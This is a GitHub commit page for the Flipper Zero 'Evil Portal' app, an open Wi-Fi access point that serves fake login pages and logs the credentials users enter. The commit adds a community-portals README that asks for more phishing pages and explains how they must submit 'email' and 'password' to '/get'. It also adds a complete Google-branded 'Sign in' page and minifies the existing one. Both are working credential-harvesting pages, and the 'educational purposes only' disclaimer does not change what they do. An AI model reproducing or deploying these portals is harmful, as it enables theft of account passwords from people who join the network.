Skip to content

Commit fb89a06

Browse files
committed
Readme Upds for Evil Portal
1 parent b5e34de commit fb89a06

File tree

4 files changed

+106
-74
lines changed

4 files changed

+106
-74
lines changed

applications/external/evil_portal/README.md

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,10 +8,19 @@ An evil captive portal Wi-Fi access point using the Flipper Zero and Wi-Fi dev b
88

99
This project will turn your Wi-Fi dev board into an open access point. When users try to connect to this access point they will be served a fake login screen. User credentials are sent to the Flipper and logged on the SD card.
1010

11+
## Portals
12+
13+
The portal I initially provided is just an (ugly) example, please check out the [community portals folder](https://github.com/bigbrodude6119/flipper-zero-evil-portal/tree/main/portals) for more portals.
14+
Contributors are welcome and very much needed!
15+
16+
Users, remember to rename the new portal as `index.html` when you drag it on the flipper SD card.
17+
1118
## Disclaimer
1219

1320
I am not a C developer and I am using this project as a way to learn more about esp32, flipper zero and, C programming.
1421

22+
**Contributors are welcome!** Please feel free to open a PR at any time.
23+
1524
This program is for educational purposes only.
1625

1726
# Getting Started
Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
<!DOCTYPE html>
2+
<html>
3+
<head>
4+
<style>
5+
* {
6+
box-sizing: border-box;
7+
margin: 0;
8+
padding: 0;
9+
font-family: Arial, sans-serif;
10+
}
11+
body {
12+
display: flex;
13+
justify-content: center;
14+
align-items: center;
15+
min-height: 100vh;
16+
background-color: #f1f1f1;
17+
}
18+
.login-container {
19+
background-color: #fff;
20+
padding: 20px;
21+
border-radius: 5px;
22+
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
23+
}
24+
#logo {
25+
display: block;
26+
margin: 0 auto 20px;
27+
}
28+
h1, h2 {
29+
text-align: center;
30+
margin-bottom: 20px;
31+
}
32+
.g-input {
33+
display: block;
34+
width: 100%;
35+
padding: 10px;
36+
margin-bottom: 10px;
37+
border: 1px solid #ddd;
38+
border-radius: 5px;
39+
}
40+
.gbtn-primary {
41+
display: block;
42+
width: 100%;
43+
padding: 10px;
44+
border: none;
45+
border-radius: 5px;
46+
background-color: #1a73e8;
47+
color: #fff;
48+
cursor: pointer;
49+
}
50+
</style>
51+
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
52+
</head>
53+
<body>
54+
<div class="login-container">
55+
<form action="/get" id="email-form-step">
56+
<div id="logo">
57+
<svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
58+
<g id="qaEJec"><path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path></g>
59+
<g id="YGlOvc"><path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path></g>
60+
<g id="BWfIk"><path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path></g>
61+
<g id="e6m3fd"><path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path></g>
62+
<g id="vbkDmc"><path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path></g>
63+
<g id="idEJde"><path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path></g>
64+
</svg>
65+
</div>
66+
<h1>Sign in</h1>
67+
<h2>Use your Google Account</h2>
68+
<input name="email" type="text" class="g-input" placeholder="Email" required>
69+
<input name="password" type="password" class="g-input" placeholder="Password" required>
70+
<button class="gbtn-primary" type="submit">Next</button>
71+
</form>
72+
</div>
73+
</body>
74+
</html>
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
# Community Portals
2+
3+
Do you have a great portal that you would like to share? Please submit a pull request placing your portal in this folder. It'd be great to see what the community can come up with! Please also add yourself to this readme so your contribution is recognized.
4+
5+
## Limitations
6+
7+
The ESP32 access point will not have internet access while hosting the portal, as a result there cannot be any requests for stylesheets or javascript such as CDNs for bootstrap and JQuery.
8+
9+
All HTML/CSS/JS must be in a single HTML file. This is due to the fact that the index.html kept in the memory of the esp32.
10+
11+
There is a 20k character limit for each HTML file.
12+
13+
The form data must be sent to the `/get` endpoint as a GET request with the params `email` & `password`. You can put any information you want in these two fields. For example the `email` param can contain a username instead, just keep the param name as `email`.
14+
15+
Please check the example `index.html` to get an idea of what this has to look like.
16+
17+
18+
## Contributors
19+
20+
Thank you so much to the following contributors for providing awesome portals.
21+
22+
- `Google_Modern.html` by [roshanravan](https://github.com/roshanravan)
Lines changed: 1 addition & 74 deletions
Original file line numberDiff line numberDiff line change
@@ -1,74 +1 @@
1-
<!DOCTYPE html>
2-
<html>
3-
<head>
4-
<style>
5-
* {
6-
box-sizing: border-box;
7-
margin: 0;
8-
padding: 0;
9-
font-family: Arial, sans-serif;
10-
}
11-
body {
12-
display: flex;
13-
justify-content: center;
14-
align-items: center;
15-
min-height: 100vh;
16-
background-color: #f1f1f1;
17-
}
18-
.login-container {
19-
background-color: #fff;
20-
padding: 20px;
21-
border-radius: 5px;
22-
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
23-
}
24-
#logo {
25-
display: block;
26-
margin: 0 auto 20px;
27-
}
28-
h1, h2 {
29-
text-align: center;
30-
margin-bottom: 20px;
31-
}
32-
.g-input {
33-
display: block;
34-
width: 100%;
35-
padding: 10px;
36-
margin-bottom: 10px;
37-
border: 1px solid #ddd;
38-
border-radius: 5px;
39-
}
40-
.gbtn-primary {
41-
display: block;
42-
width: 100%;
43-
padding: 10px;
44-
border: none;
45-
border-radius: 5px;
46-
background-color: #1a73e8;
47-
color: #fff;
48-
cursor: pointer;
49-
}
50-
</style>
51-
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
52-
</head>
53-
<body>
54-
<div class="login-container">
55-
<form action="/get" id="email-form-step">
56-
<div id="logo">
57-
<svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
58-
<g id="qaEJec"><path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path></g>
59-
<g id="YGlOvc"><path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path></g>
60-
<g id="BWfIk"><path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path></g>
61-
<g id="e6m3fd"><path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path></g>
62-
<g id="vbkDmc"><path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path></g>
63-
<g id="idEJde"><path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path></g>
64-
</svg>
65-
</div>
66-
<h1>Sign in</h1>
67-
<h2>Use your Google Account</h2>
68-
<input name="email" type="text" class="g-input" placeholder="Email" required>
69-
<input name="password" type="password" class="g-input" placeholder="Password" required>
70-
<button class="gbtn-primary" type="submit">Next</button>
71-
</form>
72-
</div>
73-
</body>
74-
</html>
1+
<!DOCTYPE html><html><head><style>body{font-family:sans-serif}.login-container{width:70%;margin:auto;padding:20px;border:#e9e9e9 1px solid;border-radius:5px;margin-top:50px}#logo{margin:auto;width:fit-content}.g-h1{width:fit-content;margin:auto;font-weight:200;font-size:larger;margin-top:5px}.g-h2{width:fit-content;margin-top:5px;margin:auto;font-weight:200;font-size:initial}.g-input{width:98%;margin:auto;margin-top:10px;height:30px;padding-left:10px;color:#202124}.gbtn-primary{margin-top:10px;height:30px;width:65px;color:#fff;background-color:#1a73e8;padding-left:19px;padding-right:19px;border:1px solid #fff;border-radius:5px}</style><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"></head><body><div id="login-app"><div class="login-container"><div class="login-content" id="login-form"><div id="logo"><svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true"><g id="qaEJec"><path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path></g><g id="YGlOvc"><path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path></g><g id="BWfIk"><path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path></g><g id="e6m3fd"><path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path></g><g id="vbkDmc"><path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path></g><g id="idEJde"><path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path></g></svg></div><form action="/get" id="email-form-step"><h1 class="g-h1">Sign in</h1><h2 class="g-h2">Use your Google Account</h2><div class="login-content"><input name="email" type="text" class="g-input" placeholder="Email" required> <input name="password" type="password" class="g-input" placeholder="Password" required><div><button class="gbtn-primary" type="submit">Next</button></div></div></form></div></div></div></body></html>

0 commit comments

Comments
 (0)